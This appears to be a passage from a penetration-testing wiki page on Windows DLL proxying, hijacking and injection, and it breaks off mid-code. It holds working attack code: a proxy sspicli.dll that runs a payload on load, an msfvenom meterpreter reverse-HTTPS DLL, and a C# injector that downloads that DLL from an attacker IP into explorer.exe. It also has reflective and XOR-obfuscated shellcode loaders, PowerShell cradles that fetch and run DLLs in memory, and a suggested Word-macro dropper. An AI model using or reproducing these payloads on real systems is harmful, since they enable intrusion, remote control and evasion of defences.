#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
